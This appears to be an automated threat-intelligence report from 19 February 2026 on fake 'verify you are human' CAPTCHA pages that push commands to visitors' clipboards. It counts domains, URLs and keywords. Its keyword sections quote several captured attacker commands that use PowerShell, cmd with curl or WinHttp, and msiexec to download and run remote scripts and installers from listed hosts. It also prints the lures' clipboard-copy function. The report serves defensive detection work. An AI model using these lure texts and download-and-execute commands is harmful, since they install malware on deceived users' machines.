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High-Impact ClickGrab Campaign: Advanced Analysis of 2026-02-19 Attack Patterns

📅 Published: February 19, 2026 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
92Sites
48%Detection
1PS Downloads

ClickGrab Threat Analysis Report - 2026-02-19

Generated on 2026-02-19 03:35:57

Executive Summary

  • Total sites analyzed: 92
  • Sites with malicious content: 44
  • Unique domains encountered: 89
  • Total URLs extracted: 1,751
  • PowerShell download attempts: 1
  • Clipboard manipulation instances: 239

Domain Analysis

Most Frequently Encountered Domains

  • baovechuyennghiep.baovengayvadem.com: 696 occurrences
  • adturekorea.co.kr: 214 occurrences
  • www.ccera-icar.org: 178 occurrences
  • 18.176.47.246: 112 occurrences
  • 44.208.147.17: 48 occurrences
  • www.google.com: 42 occurrences
  • www.grantmurrayhomes.com: 37 occurrences
  • i.postimg.cc: 36 occurrences
  • icons.duckduckgo.com: 36 occurrences
  • ${host}: 36 occurrences
  • sun1118.com: 26 occurrences
  • t.me: 19 occurrences
  • www.maloneinn.com: 17 occurrences
  • ssl-host.com: 14 occurrences
  • www.facebook.com: 12 occurrences

URL Pattern Analysis

reCAPTCHA imagery

5 occurrences across 2 distinct URLs

  • https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha (3 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)

Font resources

20 occurrences across 15 distinct URLs

  • https://18.176.47.246/wp-content/plugins/vk-post-author-display/vendor/vektor-inc/font-awesome-versions/src/font-awesome/css/all.min.css?ver=7.1.0 (2 times)
  • https://adturekorea.co.kr/js/font-awesome/css/font-awesome.min.css?ver=220620 (2 times)
  • https://use.fontawesome.com/releases/v5.6.3/css/all.css (2 times)
  • https://adturekorea.co.kr/theme/FT_WEB20/css/icofont.min.css (2 times)
  • https://use.fontawesome.com/releases/v5.0.0/css/all.css (2 times)
  • ...and 10 more distinct URLs

CDN hosted scripts

8 occurrences across 7 distinct URLs

  • https://l.cdn-fileserver.com (2 times)
  • https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js (1 times)
  • https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/build/three.module.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/examples/jsm/ (1 times)
  • ...and 2 more distinct URLs

Google resources

47 occurrences across 9 distinct URLs

  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (36 times)
  • https://www.googletagmanager.com/gtag/js?id=UA-86972255-1 (2 times)
  • https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d38377.599722420644!2d106.65241824757776!3d10.802916754371077!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x927f53ecdcf6de52!2zQ8OUTkcgVFkgVE5ISCBE4buKQ0ggVuG7pCBC4bqiTyBW4buGIE5Hw4BZICYgxJDDik0gKFZQKQ!5e0!3m2!1svi!2s!4v1646897995209!5m2!1svi!2s (2 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://www.googletagmanager.com/gtag/js?id=UA-47069733-1 (1 times)
  • ...and 4 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 763 (63 unique)

Keyword Categories

Social Engineering

24 unique keywords

  • Verification
  • exec /i https://i-iike-eie-phants-verification.iive/iamchaiienge/verification/UserID7383526;`
  • Verification Hash
  • robot
  • command = "msiexec /i https://seo-conference.by/wp-themes/Cioudfiare/Verification/UserID63894525i5832";
  • verification id
  • Verify You Are Human
  • I am not a robot
  • Robot
  • verification-code-container
  • ...and 14 more

System Commands

29 unique keywords

  • cmd.exe /c powersheii -w h -ep Bypass -nop -c "$d='p.psi';$y=$env:USERPROFILE+'\\\\Downioads\\\\'+$d;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://ghost.nestdns.com/fiies', $y);& $y;Remove-Item $y -Force;";`
  • command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://i98.i3.i58.i27:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\\ny.vbs" && "%temp%\\ny.vbs"';
  • command =cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\Downioads\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/', $n);& $n;Remove-Item $n -Force;";
  • command = 'cmd /c "curi -s http://i78.i7.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nui && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
  • command = 'msiexec /i http://inkbookwriters.com/verify';
  • wscript
  • Command =windows_command;
  • cmd /c "curi -s http:/i98.i3.i58.i27:5506/dd.vbs -o %temp%\dd.vbs >nui && start /b wscript.exe //B //E:VBScript %temp%\dd.vbs && exit"';
  • command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://78.40.209.i64:5506/dk.vbs",0:h.Send:Execute h.ResponseText > "%temp%\dk.vbs" && "%temp%\dk.vbs"';
  • command = 'cmd /c "curi -s http:/i98.i3.i58.i27:5506/dd.vbs -o %temp%\dd.vbs >nui && start /b wscript.exe //B //E:VBScript %temp%\dd.vbs && exit"';
  • ...and 19 more

Verification Text

3 unique keywords

  • ray id
  • Hidden
  • hidden

Technical Terms

7 unique keywords

  • ResponseText
  • Ray ID
  • iex
  • Bypass
  • failed_to_retrieve
  • .exe
  • WinHttpRequest

Most Frequent Keywords

  • hidden: 53 occurrences
  • robot: 48 occurrences
  • Robot: 43 occurrences
  • verification: 43 occurrences
  • Ray ID: 40 occurrences
  • I am not a robot: 40 occurrences
  • Verification: 40 occurrences
  • verification-id: 40 occurrences
  • CAPTCHA Verification: 39 occurrences
  • Verification ID: 39 occurrences
  • To better prove you are not a robot: 39 occurrences
  • Verify you are human: 38 occurrences
  • Checking if you are human: 37 occurrences
  • const command =: 37 occurrences
  • cmd: 19 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: cmd /c "curi -s http://i78.i7.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nui && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';, command = 'cmd /c "curi -s http://i78.i7.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nui && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';, cmd /c "curi -s http:/i98.i3.i58.i27:5506/dd.vbs -o %temp%\dd.vbs >nui && start /b wscript.exe //B //E:VBScript %temp%\dd.vbs && exit"';, command = 'cmd /c "curi -s http:/i98.i3.i58.i27:5506/dd.vbs -o %temp%\dd.vbs >nui && start /b wscript.exe //B //E:VBScript %temp%\dd.vbs && exit"';

Group 2: CAPTCHA Verification, Verification, verification

Group 3: Verification ID, verification-id, verification id, Verification Hash, verification_id

Group 4: Ray ID, ray id

Group 5: Robot, robot

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • themes/Cioudfiare/Verification/UserID63894525i5832
  • iive/iamchaiienge/verification/UserID7383526
  • com/recaptcha/about/images/reCAPTCHA
  • au/smartdetection/deviceverification/CF/path/captc...
  • com/i23/cioudfiare/verify/humanverfification/cioud...

Clipboard Manipulation Analysis

Detected clipboard manipulation in 239 instances.

Document.Execcommand Copy

Found in 121 snippets (50.6% of clipboard code)

Examples:

...try { const successful = document.execCommand('copy')

document.execCommand('copy')

document.execCommand("copy")

Textarea Manipulation

Found in 121 snippets (50.6% of clipboard code)

Examples:

tListener("click", function () { const textarea = document.createElement('textarea'

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

ng is the safe placeholder above const textarea = document.createElement('textarea'

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for web display. Full data available in JSON.